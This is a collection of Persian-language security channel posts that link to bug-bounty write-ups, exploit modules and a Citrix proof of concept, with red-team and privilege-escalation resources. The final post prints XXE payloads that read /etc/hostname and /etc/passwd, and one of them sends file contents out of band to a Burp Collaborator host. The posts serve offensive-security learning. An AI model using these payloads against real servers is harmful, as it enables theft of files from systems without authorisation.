اینفوگرافی میزان رشد بیگ دیتا

https://www.visualcapitalist.com/big-data-keeps-getting-bigger/

#ML
#AI


@sec_nerd

مرکز فارنزیک دیجیتال و پاسخدهی حوادث عربستان سعودی تایم لاینی منتشر کرد که تطابق آن با برخی از وقایع بین المللی جالب توجه است

گروه های هک ایرانی حسابی از خجالت سعودی ها درآمده اند


https://twitter.com/SaudiDFIR/status/1217455364100280320


#Iran
#ksa
#dfir



@sec_nerd

رایت آپهای مرتبط با شرکت Paypal


https://link.medium.com/fxCdDmwl52

https://link.medium.com/8TCKRFCUg3

https://link.medium.com/wQMOg7Ded3

https://whitehathaji.blogspot.com/2019/07/paypal-bug-10k-all-secondary-users.html

https://link.medium.com/67GX2sHUg3

https://link.medium.com/Z3gCzQHUg3

https://link.medium.com/vxMjqYJUg3

https://r00thunt.com/2018/10/05/blind-xml-external-entities-out-of-band-channel-vulnerability-paypal-case-study

#bugbounty
#writeup
#pentest


@sec_nerd

ماژول متاسپلویت برای اکسپلویت سیتریکس با شناسه ی CVE-2019-19781 اضافه شد

https://github.com/rapid7/metasploit-framework/pull/12816


#msf
#citrix


@sec_nerd

کد اثبات آسیب پذیری شناسه CVE-2020-0601 که با نام CurveBall (روشی از پرتاب توپ بیسبال به شکل پیچ دار) شناخته میشود

https://github.com/ollypwn/cve-2020-0601


#windows
#poc
#nsa
#curveball


@sec_nerd

اسکریپت NSE برای nmap مخصوص آسیب پذیری citrix

https://github.com/nmap/nmap/pull/1893/commits/2092668b39c9c56eb083cc68dcd8250ebf0d3479


#nmap
#citrix


@sec_nerd

The World of Contradictions...


#off_topic

@sec_nerd

شرکت bitdefender برای باج افزار paradise برنامه رمزگشا منتشر کرد


https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool/


دانلود



#ransomware
#bitdefender
#paradise


@sec_nerd

رایت آپ با موضوع دور زدن فرایند احراز هویت

Authentication bypass

https://link.medium.com/6POLXbk7j3
https://link.medium.com/fjRpVHTkg3
https://link.medium.com/FBilq4m7j3
https://link.medium.com/5Etuo0n7j3
https://link.medium.com/Zq5cjGn7j3
https://xpoc.pro/oauth-authentication-bypass-on-airbnb-acquisition-using-weird-1-char-open-redirect
https://link.medium.com/TC85brt7j3
https://randorisec.fr/client-side-validation
https://link.medium.com/IYzPwWK7j3
https://link.medium.com/SZDewmL7j3

#bugbounty
#pentest
#writeup


@sec_nerd

ابزارهای مفید برای عملیات تست نفوذ

https://github.com/BankSecurity/Red_Team

#tools
#pentest


@sec_nerd

#citrix #shitrix CVE-2019-19781 #DFIR tip:
Check all paths that have aliases in /etc/httpd.conf where web shells can be executed. Outside of /netscaler/ , .php backdoors will work in:

/var/ns_gui/{n_top,shared,support}
/var/vpn/theme/


@sec_nerd

beta.shodan.io/search/filters #shodan #shodansafari


@sec_nerd

رایت آپ چالش جدید HTB با نام TartarSauce

https://medium.com/@ranakhalil101/hack-the-box-tartarsauce-writeup-w-o-metasploit-e73393d4a0cd


#writeup
#htb


@sec_nerd

ابزار Cobalt Strike برای بررسی و تشخیص حسابهای دارای پسوردهای ضعیف در اکتیودایرکتوری


https://github.com/outflanknl/Spray-AD


#AD
#windows
#privesc


@sec_nerd

چک لیست بالابردن سطح دسترسی در ویندوز و لینوکس

https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist


#privesc
#windows
#linux


@sec_nerd

رایت آپهای بالابردن سطح دسترسی


https://link.medium.com/9EK64aZ0p3
https://link.medium.com/i3r0isZ0p3
https://link.medium.com/RaArwKZ0p3
https://link.medium.com/z3lGkZZ0p3
https://shawarkhan.com/2019/08/leveraging-angularjs-based-xss-to-privilege-escalation.html
https://link.medium.com/C8SKRh00p3
https://whitehatfamilyguy.blogspot.com/2019/06/google-adwordsprivilege-escalation-read.html
https://link.medium.com/SvC3cI00p3
https://gauravnarwani.com/priv-esc-highest-admin

#bugbounty
#writeup
#privesc


@sec_nerd

اکسپلویت کردن آسیب پذیری XXE

https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9

#writeup
#xxe
#pentest


@sec_nerd

آسیب پذیری که پسورد paypal شما را نمایان میکند!

https://medium.com/@alex.birsan/the-bug-that-exposed-your-paypal-password-539fc2896da9


#writeup
#paypal
#bugbounty


@sec_nerd

رایت آپ کشف آسیب پذیری XSS در SMC Networks

https://sku11army.blogspot.com/2020/01/smc-networks-stored-cross-site.html


#bugbounty
#xss
#writeup


@sec_nerd

برخی روش های استفاده از آسیب پذیری XXE

XXE via File Upload

<!DOCTYPE test [ <!E NTITY xxe SYSTEM "file:/// etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="https://w3.org/2000/svg" ....version="1.1">
<text font-size="40" x="0" y="16"> &xxe;



XXE Attacks via Modified Content Type

POST /hackingman HTTP/1.0
Content-Type: text/html
Content-Length: 7
<?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>



Exploiting Blind XXE to Exfiltrate Data Out-of-Band

<!ENTI TY % file SYSTEM "f ile:/ //etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfi ltrate SYSTEM 'https://im81nr4zhac2lafxnm997qwk6bc20r.burpcollaborator.net/?x=%file;'>">
%ev al;
%exfiltrate;



Exploiting blind XXE to retrieve data via error messages

<!EN ITY % file SYSTEM "fil e:///etc/pa sswd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///none xistent/%file;'>">
%eval;
%error;




#xxe


@sec_nerd